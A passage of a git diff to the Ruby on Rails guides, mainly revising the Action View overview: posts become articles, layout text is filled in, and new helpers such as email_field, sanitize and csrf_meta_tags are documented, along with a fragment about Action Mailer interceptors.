could test our example mailer from above like so: +There are situations where you need to edit an email before it's +delivered. Fortunately Action Mailer provides hooks to intercept every +email. You can register an interceptor to make modifications to mail messages +right before they are handed to the delivery agents. ```ruby -class UserMailerTest < ActionMailer::TestCase - def test_welcome_email - user = users(:some_user_in_your_fixtures) - - # Send the email, then test that it got queued - email = UserMailer.welcome_email(user).deliver - assert !ActionMailer::Base.deliveries.empty? - - # Test the body of the sent email contains what we expect it to - assert_equal [user.email], email.to - assert_equal 'Welcome to My Awesome Site', email.subject - assert_match "<h1>Welcome to example.com, #{user.name}</h1>", email.body.to_s - assert_match 'you have joined to example.com community', email.body.to_s +class SandboxEmailInterceptor + def self.delivering_email(message) + message.to = ['sandbox@example.com'] end end ``` -In the test we send the email and store the returned object in the `email` variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect. +Before the interceptor can do its job you need to register it with the Action +Mailer framework. You can do this in an initializer file +`config/initializers/sandbox_email_interceptor.rb` + +```ruby +if Rails.env.staging? + ActionMailer::Base.register_interceptor(SandboxEmailInterceptor) +end +``` + +NOTE: The example above uses a custom environment called "staging" for a +production like server but for testing purposes. You can read +[Creating Rails environments](configuring.html#creating-rails-environments) +for more information about custom Rails environments. diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md index 4cdac43a7e..a6bde4f517 100644 --- a/guides/source/action_view_overview.md +++ b/guides/source/action_view_overview.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Action View Overview ==================== @@ -7,7 +9,6 @@ After reading this guide, you will know: * How best to use templates, partials, and layouts. * What helpers are provided by Action View and how to make your own. * How to use localized views. -* How to use Action View outside of Rails. -------------------------------------------------------------------------------- @@ -28,34 +29,34 @@ For each controller there is an associated directory in the `app/views` director Let's take a look at what Rails does by default when creating a new resource using the scaffold generator: ```bash -$ rails generate scaffold post +$ bin/rails generate scaffold article [...] invoke scaffold_controller - create app/controllers/posts_controller.rb + create app/controllers/articles_controller.rb invoke erb - create app/views/posts - create app/views/posts/index.html.erb - create app/views/posts/edit.html.erb - create app/views/posts/show.html.erb - create app/views/posts/new.html.erb - create app/views/posts/_form.html.erb + create app/views/articles + create app/views/articles/index.html.erb + create app/views/articles/edit.html.erb + create app/views/articles/show.html.erb + create app/views/articles/new.html.erb + create app/views/articles/_form.html.erb [...] ``` There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above. -For example, the index controller action of the `posts_controller.rb` will use the `index.html.erb` view file in the `app/views/posts` directory. -The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Later on this guide you can find a more detailed documentation of each one of these three components. +For example, the index controller action of the `articles_controller.rb` will use the `index.html.erb` view file in the `app/views/articles` directory. +The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Within this guide you will find more detailed documentation about each of these three components. Templates, Partials and Layouts ------------------------------- -As mentioned before, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`. -Below is a brief overview of each one of them. +As mentioned, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`. +Below is a brief overview of each of them. ### Templates -Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a `.builder` extension then a fresh instance of `Builder::XmlMarkup` library is used. +Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (Embedded Ruby) and HTML. If the template file has a `.builder` extension then the `Builder::XmlMarkup` library is used. Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have `.html.erb` as a file extension. @@ -68,11 +69,11 @@ Consider the following loop for names: ```html+erb <h1>Names of all the people</h1> <% @people.each do |person| %> - Name: <%= person.name %><br/> + Name: <%= person.name %><br> <% end %> ``` -The loop is set up in regular embedding tags (`<% %>`) and the name is written using the output embedding tags (`<%= %>`). Note that this is not just a usage suggestion, for regular output functions like `print` or `puts` won't work with ERB templates. So this would be wrong: +The loop is set up using regular embedding tags (`<% %>`) and the name is inserted using the output embedding tags (`<%= %>`). Note that this is not just a usage suggestion: regular output functions such as `print` and `puts` won't be rendered to the view with ERB templates. So this would be wrong: ```html+erb <%# WRONG %> @@ -152,7 +153,7 @@ By default, Rails will compile each template to a method in order to render it. ### Partials -Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates. +Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates. #### Naming Partials @@ -172,7 +173,7 @@ That code will pull in the partial from `app/views/shared/_menu.html.erb`. #### Using Partials to simplify Views -One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this: +One way to use partials is to treat them as the equivalent of subroutines; a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this: ```html+erb <%= render "shared/ad_banner" %> @@ -231,7 +232,7 @@ The `object` and `as` options can also be used together: #### Rendering Collections -It is very common that a template needs to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array. +It is very common that a template will need to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array. So this example for rendering all the products: @@ -247,7 +248,7 @@ can be rewritten in a single line: <%= render partial: "product", collection: @products %> ``` -When a partial is called like this (eg. with a collection), the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within it you can refer to `product` to get the instance that is being rendered. +When a partial is called with a collection, the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within it you can refer to `product` to get the collection member that is being rendered. You can use a shorthand syntax for rendering collections. Assuming `@products` is a collection of `Product` instances, you can simply write the following to produce the same result: @@ -255,49 +256,44 @@ You can use a shorthand syntax for rendering collections. Assuming `@products` i <%= render @products %> ``` -Rails determines the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection. +Rails determines the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even render a collection made up of instances of different models using this shorthand, and Rails will choose the proper partial for each member of the collection. #### Spacer Templates You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option: ```erb -<%= render @products, spacer_template: "product_ruler" %> +<%= render partial: @products, spacer_template: "product_ruler" %> ``` Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials. ### Layouts -TODO... - -Using Templates, Partials and Layouts "The Rails Way" --------------------------------------------------------- - -TODO... +Layouts can be used to render a common view template around the results of Rails controller actions. Typically, a Rails application will have a couple of layouts that pages will be rendered within. For example, a site might have one layout for a logged in user and another for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us" pages. You would expect each layout to have a different look and feel. You can read about layouts in more detail in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide. Partial Layouts --------------- -Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion. +Partials can have their own layouts applied to them. These layouts are different from those applied to a controller action, but they work in a similar fashion. -Let's say we're displaying a post on a page, that should be wrapped in a `div` for display purposes. First, we'll create a new `Post`: +Let's say we're displaying an article on a page which should be wrapped in a `div` for display purposes. Firstly, we'll create a new `Article`: ```ruby -Post.create(body: 'Partial Layouts are cool!') +Article.create(body: 'Partial Layouts are cool!') ``` -In the `show` template, we'll render the `_post` partial wrapped in the `box` layout: +In the `show` template, we'll render the `_article` partial wrapped in the `box` layout: -**posts/show.html.erb** +**articles/show.html.erb** ```erb -<%= render partial: 'post', layout: 'box', locals: {post: @post} %> +<%= render partial: 'article', layout: 'box', locals: {article: @article} %> ``` -The `box` layout simply wraps the `_post` partial in a `div`: +The `box` layout simply wraps the `_article` partial in a `div`: -**posts/_box.html.erb** +**articles/_box.html.erb** ```html+erb <div class='box'> @@ -305,13 +301,13 @@ The `box` layout simply wraps the `_post` partial in a `div`: </div> ``` -The `_post` partial wraps the post's `body` in a `div` with the `id` of the post using the `div_for` helper: +The `_article` partial wraps the article's `body` in a `div` with the `id` of the article using the `div_for` helper: -**posts/_post.html.erb** +**articles/_article.html.erb** ```html+erb -<%= div_for(post) do %> - <p><%= post.body %></p> +<%= div_for(article) do %> + <p><%= article.body %></p> <% end %> ``` @@ -319,22 +315,22 @@ this would output the following: ```html <div class='box'> - <div id='post_1'> + <div id='article_1'> <p>Partial Layouts are cool!</p> </div> </div> ``` -Note that the partial layout has access to the local `post` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix. +Note that the partial layout has access to the local `article` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix. -You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_post` partial, we could do this instead: +You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_article` partial, we could do this instead: -**posts/show.html.erb** +**articles/show.html.erb** ```html+erb -<% render(layout: 'box', locals: {post: @post}) do %> - <%= div_for(post) do %> - <p><%= post.body %></p> +<% render(layout: 'box', locals: {article: @article}) do %> + <%= div_for(article) do %> + <p><%= article.body %></p> <% end %> <% end %> ``` @@ -361,18 +357,18 @@ This module provides methods for generating container tags, such as `div`, for y Renders a container tag that relates to your Active Record Object. -For example, given `@post` is the object of `Post` class, you can do: +For example, given `@article` is the object of `Article` class, you can do: ```html+erb -<%= content_tag_for(:tr, @post) do %> - <td><%= @post.title %></td> +<%= content_tag_for(:tr, @article) do %> + <td><%= @article.title %></td> <% end %> ``` This will generate this HTML output: ```html -<tr id="post_1234" class="post"> +<tr id="article_1234" class="article"> <td>Hello World!</td> </tr> ``` @@ -380,34 +376,34 @@ This will generate this HTML output: You can also supply HTML attributes as an additional option hash. For example: ```html+erb -<%= content_tag_for(:tr, @post, class: "frontpage") do %> - <td><%= @post.title %></td> +<%= content_tag_for(:tr, @article, class: "frontpage") do %> + <td><%= @article.title %></td> <% end %> ``` Will generate this HTML output: ```html -<tr id="post_1234" class="post frontpage"> +<tr id="article_1234" class="article frontpage"> <td>Hello World!</td> </tr> ``` -You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given `@posts` is an array of two `Post` objects: +You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given `@articles` is an array of two `Article` objects: ```html+erb -<%= content_tag_for(:tr, @posts) do |post| %> - <td><%= post.title %></td> +<%= content_tag_for(:tr, @articles) do |article| %> + <td><%= article.title %></td> <% end %> ``` Will generate this HTML output: ```html -<tr id="post_1234" class="post"> +<tr id="article_1234" class="article"> <td>Hello World!</td> </tr> -<tr id="post_1235" class="post"> +<tr id="article_1235" class="article"> <td>Ruby on Rails Rocks!</td> </tr> ``` @@ -417,15 +413,15 @@ Will generate this HTML output: This is actually a convenient method which calls `content_tag_for` internally with `:div` as the tag name. You can pass either an Active Record object or a collection of objects. For example: ```html+erb -<%= div_for(@post, class: "frontpage") do %> - <td><%= @post.title %></td> +<%= div_for(@article, class: "frontpage") do %> + <td><%= @article.title %></td> <% end %> ``` Will generate this HTML output: ```html -<div id="post_1234" class="post frontpage"> +<div id="article_1234" class="article frontpage"> <td>Hello World!</td> </div> ``` @@ -469,7 +465,7 @@ stylesheet_link_tag :monkey # => #### auto_discovery_link_tag -Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed. +Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed. ```ruby auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # => @@ -492,7 +488,7 @@ image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png #### image_url -Computes the url to an image asset in the `app/asset/images` directory. This will call `image_path` internally and merge with your current host or your asset host. +Computes the url to an image asset in the `app/assets/images` directory. This will call `image_path` internally and merge with your current host or your asset host. ```ruby image_url("edit.png") # => http://www.example.com/assets/edit.png @@ -500,7 +496,7 @@ image_url("edit.png") # => http://www.example.com/assets/edit.png #### image_tag -Returns an html image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory. +Returns an HTML image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory. ```ruby image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" /> @@ -508,7 +504,7 @@ image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" /> #### javascript_include_tag -Returns an html script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root. +Returns an HTML script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root. ```ruby javascript_include_tag "common" # => <script src="/assets/common.js"></script> @@ -595,14 +591,14 @@ This helper makes building an Atom feed easy. Here's a full usage example: **config/routes.rb** ```ruby -resources :posts +resources :articles ``` -**app/controllers/posts_controller.rb** +**app/controllers/articles_controller.rb** ```ruby def index - @posts = Post.all + @articles = Article.all respond_to do |format| format.html @@ -611,20 +607,20 @@ def index end ``` -**app/views/posts/index.atom.builder** +**app/views/articles/index.atom.builder** ```ruby atom_feed do |feed| - feed.title("Posts Index") - feed.updated((@posts.first.created_at)) + feed.title("Articles Index") + feed.updated((@articles.first.created_at)) - @posts.each do |post| - feed.entry(post) do |entry| - entry.title(post.title) - entry.content(post.body, type: 'html') + @articles.each do |article| + feed.entry(article) do |entry| + entry.title(article.title) + entry.content(article.body, type: 'html') entry.author do |author| - author.name(post.author_name) + author.name(article.author_name) end end end @@ -702,7 +698,7 @@ For example, let's say we have a standard application layout, but also a special </html> ``` -**app/views/posts/special.html.erb** +**app/views/articles/special.html.erb** ```html+erb <p>This is a special page.</p> @@ -719,7 +715,7 @@ For example, let's say we have a standard application layout, but also a special Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute. ```ruby -date_select("post", "published_on") +date_select("article", "published_on") ``` #### datetime_select @@ -727,7 +723,7 @@ date_select("post", "published_on") Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute. ```ruby -datetime_select("post", "published_on") +datetime_select("article", "published_on") ``` #### distance_of_time_in_words @@ -741,7 +737,7 @@ distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true #### select_date -Returns a set of html select-tags (one for year, month, and day) pre-selected with the `date` provided. +Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the `date` provided. ```ruby # Generates a date select that defaults to the date provided (six days after today) @@ -753,7 +749,7 @@ select_date() #### select_datetime -Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided. +Returns a set of HTML select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided. ```ruby # Generates a datetime select that defaults to the datetime provided (four days after today) @@ -780,8 +776,8 @@ select_day(5) Returns a select tag with options for each of the hours 0 through 23 with the current hour selected. ```ruby -# Generates a select field for minutes that defaults to the minutes for the time provided -select_minute(Time.now + 6.hours) +# Generates a select field for hours that defaults to the hours for the time provided +select_hour(Time.now + 6.hours) ``` #### select_minute @@ -813,7 +809,7 @@ select_second(Time.now + 16.minutes) #### select_time -Returns a set of html select-tags (one for hour and minute). +Returns a set of HTML select-tags (one for hour and minute). ```ruby # Generates a time select that defaults to the time provided @@ -909,10 +905,10 @@ The params hash has a nested person value, which can therefore be accessed with Returns a checkbox tag tailored for accessing a specified attribute. ```ruby -# Let's say that @post.validated? is 1: -check_box("post", "validated") -# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" /> -# <input name="post[validated]" type="hidden" value="0" /> +# Let's say that @article.validated? is 1: +check_box("article", "validated") +# => <input type="checkbox" id="article_validated" name="article[validated]" value="1" /> +# <input name="article[validated]" type="hidden" value="0" /> ``` #### fields_for @@ -944,11 +940,11 @@ file_field(:user, :avatar) Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields. ```html+erb -<%= form_for @post do |f| %> +<%= form_for @article do |f| %> <%= f.label :title, 'Title' %>: - <%= f.text_field :title %><br /> + <%= f.text_field :title %><br> <%= f.label :body, 'Body' %>: - <%= f.text_area :body %><br /> + <%= f.text_area :body %><br> <% end %> ``` @@ -966,8 +962,8 @@ hidden_field(:user, :token) Returns a label tag tailored for labelling an input field for a specified attribute. ```ruby -label(:post, :title) -# => <label for="post_title">Title</label> +label(:article, :title) +# => <label for="article_title">Title</label> ``` #### password_field @@ -984,11 +980,11 @@ password_field(:login, :pass) Returns a radio button tag for accessing a specified attribute. ```ruby -# Let's say that @post.category returns "rails": -radio_button("post", "category", "rails") -radio_button("post", "category", "java") -# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" /> -# <input type="radio" id="post_category_java" name="post[category]" value="java" /> +# Let's say that @article.category returns "rails": +radio_button("article", "category", "rails") +radio_button("article", "category", "java") +# => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" /> +# <input type="radio" id="article_category_java" name="article[category]" value="java" /> ``` #### text_area @@ -1007,8 +1003,26 @@ text_area(:comment, :text, size: "20x30") Returns an input tag of the "text" type tailored for accessing a specified attribute. ```ruby -text_field(:post, :title) -# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" /> +text_field(:article, :title) +# => <input type="text" id="article_title" name="article[title]" value="#{@article.title}" /> +``` + +#### email_field + +Returns an input tag of the "email" type tailored for accessing a specified attribute. + +```ruby +email_field(:user, :email) +# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" /> +``` + +#### url_field + +Returns an input tag of the "url" type tailored for accessing a specified attribute. + +```ruby +url_field(:user, :url) +# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" /> ``` ### FormOptionsHelper @@ -1022,28 +1036,28 @@ Returns `select` and `option` tags for the collection of existing return values Example object structure for use with this method: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base belongs_to :author end class Author < ActiveRecord::Base - has_many :posts + has_many :articles def name_with_initial "#{first_name.first}. #{last_name}" end end ``` -Sample usage (selecting the associated Author for an instance of Post, `@post`): +Sample usage (selecting the associated Author for an instance of Article, `@article`): ```ruby -collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {prompt: true}) +collection_select(:article, :author_id, Author.all, :id, :name_with_initial, {prompt: true}) ``` -If `@post.author_id` is 1, this would return: +If `@article.author_id` is 1, this would return: ```html -<select name="post[author_id]"> +<select name="article[author_id]"> <option value="">Please select</option> <option value="1" selected="selected">D. Heinemeier Hansson</option> <option value="2">D. Thomas</option> @@ -1058,33 +1072,33 @@ Returns `radio_button` tags for the collection of existing return values of `met Example object structure for use with this method: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base belongs_to :author end class Author < ActiveRecord::Base - has_many :posts + has_many :articles def name_with_initial "#{first_name.first}. #{last_name}" end end ``` -Sample usage (selecting the associated Author for an instance of Post, `@post`): +Sample usage (selecting the associated Author for an instance of Article, `@article`): ```ruby -collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) +collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial) ``` -If `@post.author_id` is 1, this would return: +If `@article.author_id` is 1, this would return: ```html -<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" /> -<label for="post_author_id_1">D. Heinemeier Hansson</label> -<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" /> -<label for="post_author_id_2">D. Thomas</label> -<input id="post_author_id_3" name="post[author_id]" type="radio" value="3" /> -<label for="post_author_id_3">M. Clark</label> +<input id="article_author_id_1" name="article[author_id]" type="radio" value="1" checked="checked" /> +<label for="article_author_id_1">D. Heinemeier Hansson</label> +<input id="article_author_id_2" name="article[author_id]" type="radio" value="2" /> +<label for="article_author_id_2">D. Thomas</label> +<input id="article_author_id_3" name="article[author_id]" type="radio" value="3" /> +<label for="article_author_id_3">M. Clark</label> ``` #### collection_check_boxes @@ -1094,34 +1108,34 @@ Returns `check_box` tags for the collection of existing return values of `method Example object structure for use with this method: ```ruby -class Post < ActiveRecord::Base - has_and_belongs_to_many :author +class Article < ActiveRecord::Base + has_and_belongs_to_many :authors end class Author < ActiveRecord::Base - has_and_belongs_to_many :posts + has_and_belongs_to_many :articles def name_with_initial "#{first_name.first}. #{last_name}" end end ``` -Sample usage (selecting the associated Authors for an instance of Post, `@post`): +Sample usage (selecting the associated Authors for an instance of Article, `@article`): ```ruby -collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) +collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial) ``` -If `@post.author_ids` is [1], this would return: +If `@article.author_ids` is [1], this would return: ```html -<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" /> -<label for="post_author_ids_1">D. Heinemeier Hansson</label> -<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" /> -<label for="post_author_ids_2">D. Thomas</label> -<input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" /> -<label for="post_author_ids_3">M. Clark</label> -<input name="post[author_ids][]" type="hidden" value="" /> +<input id="article_author_ids_1" name="article[author_ids][]" type="checkbox" value="1" checked="checked" /> +<label for="article_author_ids_1">D. Heinemeier Hansson</label> +<input id="article_author_ids_2" name="article[author_ids][]" type="checkbox" value="2" /> +<label for="article_author_ids_2">D. Thomas</label> +<input id="article_author_ids_3" name="article[author_ids][]" type="checkbox" value="3" /> +<label for="article_author_ids_3">M. Clark</label> +<input name="article[author_ids][]" type="hidden" value="" /> ``` #### country_options_for_select @@ -1130,7 +1144,7 @@ Returns a string of option tags for pretty much any country in the world. #### country_select -Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. +Returns select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. #### option_groups_from_collection_for_select @@ -1209,13 +1223,13 @@ Create a select tag and a series of contained option tags for the provided objec Example: ```ruby -select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true}) +select("article", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true}) ``` -If `@post.person_id` is 1, this would become: +If `@article.person_id` is 1, this would become: ```html -<select name="post[person_id]"> +<select name="article[person_id]"> <option value=""></option> <option value="1" selected="selected">David</option> <option value="2">Sam</option> @@ -1229,15 +1243,23 @@ Returns a string of option tags for pretty much any time zone in the world. #### time_zone_select -Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. +Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. ```ruby time_zone_select( "user", "time_zone") ``` +#### date_field + +Returns an input tag of the "date" type tailored for accessing a specified attribute. + +```ruby +date_field("user", "dob") +``` + ### FormTagHelper -Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. +Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. #### check_box_tag @@ -1264,7 +1286,7 @@ Creates a field set for grouping HTML form elements. Creates a file upload field. ```html+erb -<%= form_tag {action: "post"}, {multipart: true} do %> +<%= form_tag({action:"post"}, multipart: true) do %> <label for="file">File to Upload</label> <%= file_field_tag "file" %> <%= submit_tag %> <% end %> @@ -1282,10 +1304,10 @@ file_field_tag 'attachment' Starts a form tag that points the action to an url configured with `url_for_options` just like `ActionController::Base#url_for`. ```html+erb -<%= form_tag '/posts' do %> +<%= form_tag '/articles' do %> <div><%= submit_tag 'Save' %></div> <% end %> -# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form> +# => <form action="/articles" method="post"><div><input type="submit" name="submit" value="Save" /></div></form> ``` #### hidden_field_tag @@ -1347,8 +1369,8 @@ select_tag "people", "<option>David</option>" Creates a submit button with the text provided as the caption. ```ruby -submit_tag "Publish this post" -# => <input name="commit" type="submit" value="Publish this post" /> +submit_tag "Publish this article" +# => <input name="commit" type="submit" value="Publish this article" /> ``` #### text_area_tag @@ -1356,8 +1378,8 @@ submit_tag "Publish this post" Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions. ```ruby -text_area_tag 'post' -# => <textarea id="post" name="post"></textarea> +text_area_tag 'article' +# => <textarea id="article" name="article"></textarea> ``` #### text_field_tag @@ -1369,6 +1391,33 @@ text_field_tag 'name' # => <input id="name" name="name" type="text" /> ``` +#### email_field_tag + +Creates a standard input field of email type. + +```ruby +email_field_tag 'email' +# => <input id="email" name="email" type="email" /> +``` + +#### url_field_tag + +Creates a standard input field of url type. + +```ruby +url_field_tag 'url' +# => <input id="url" name="url" type="url" /> +``` + +#### date_field_tag + +Creates a standard input field of date type. + +```ruby +date_field_tag "dob" +# => <input id="dob" name="dob" type="date" /> +``` + ### JavaScriptHelper Provides functionality for working with JavaScript in your views. @@ -1444,7 +1493,7 @@ number_to_human_size(1234567) # => 1.2 MB Formats a number as a percentage string. ```ruby -number_to_percentage(100, :precision => 0) # => 100% +number_to_percentage(100, precision: 0) # => 100% ``` #### number_to_phone @@ -1472,94 +1521,102 @@ number_with_precision(111.2345) # => 111.235 number_with_precision(111.2345, 2) # => 111.23 ``` -Localized Views ---------------- +### SanitizeHelper -Action View has the ability render different templates depending on the current locale. +The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements. -For example, suppose you have a Posts controller with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. +#### sanitize -You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages. +This sanitize helper will HTML encode all tags and strip all attributes that aren't specifically allowed. -Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`: +```ruby +sanitize @article.body +``` + +If either the :attributes or :tags options are passed, only the mentioned tags and attributes are allowed and nothing else. ```ruby -before_action :set_expert_locale +sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) +``` -def set_expert_locale - I18n.locale = :expert if current_user.expert? +To change defaults for multiple uses, for example adding table tags to the default: + +```ruby +class Application < Rails::Application + config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td' end ``` -Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users. +#### sanitize_css(style) -You can read more about the Rails Internationalization (I18n) API [here](i18n.html). +Sanitizes a block of CSS code. -Using Action View outside of Rails ----------------------------------- +#### strip_links(html) +Strips all link tags from text leaving just the link text. -Action View is a Rails component, but it can also be used without Rails. We can demonstrate this by creating a small [Rack](http://rack.rubyforge.org/) application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application. +```ruby +strip_links("<a href="http://rubyonrails.org">Ruby on Rails</a>") +# => Ruby on Rails +``` -Let's start by ensuring that you have the Action Pack and Rack gems installed: +```ruby +strip_links("emails to <a href="mailto:me@email.com">me@email.com</a>.") +# => emails to me@email.com. +``` -```bash -$ gem install actionpack -$ gem install rack +```ruby +strip_links('Blog: <a href="http://myblog.com/">Visit</a>.') +# => Blog: Visit. ``` -Now we'll create a simple "Hello World" application that uses the `titleize` method provided by Active Support. +#### strip_tags(html) -**hello_world.rb:** +Strips all HTML tags from the html, including comments. +This uses the html-scanner tokenizer and so its HTML parsing ability is limited by that of html-scanner. ```ruby -require 'active_support/core_ext/string/inflections' -require 'rack' - -def hello_world(env) - [200, {"Content-Type" => "text/html"}, "hello world".titleize] -end +strip_tags("Strip <i>these</i> tags!") +# => Strip these tags! +``` -Rack::Handler::Mongrel.run method(:hello_world), Port: 4567 +```ruby +strip_tags("<b>Bold</b> no more! <a href='more.html'>See more</a>") +# => Bold no more! See more ``` -We can see this all come together by starting up the application and then visiting `http://localhost:4567/` +NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers. -```bash -$ ruby hello_world.rb -``` +### CsrfHelper + +Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site +request forgery protection parameter and token, respectively. -TODO needs a screenshot? I have one - not sure where to put it. +```html +<%= csrf_meta_tags %> +``` -Notice how 'hello world' has been converted into 'Hello World' by the `titleize` helper method. +NOTE: Regular forms generate hidden fields so they do not use these tags. More +details can be found in the [Rails Security Guide](security.html#cross-site-request-forgery-csrf). -Action View can also be used with [Sinatra](http://www.sinatrarb.com/) in the same way. +Localized Views +--------------- -Let's start by ensuring that you have the Action Pack and Sinatra gems installed: +Action View has the ability render different templates depending on the current locale. -```bash -$ gem install actionpack -$ gem install sinatra -``` +For example, suppose you have a `ArticlesController` with a show action. By default, calling this action will render `app/views/articles/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/articles/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. -Now we'll create the same "Hello World" application in Sinatra. +You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages. -**hello_world.rb:** +Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`: ```ruby -require 'action_view' -require 'sinatra' +before_action :set_expert_locale -get '/' do - erb 'hello world'.titleize +def set_expert_locale + I18n.locale = :expert if current_user.expert? end ``` 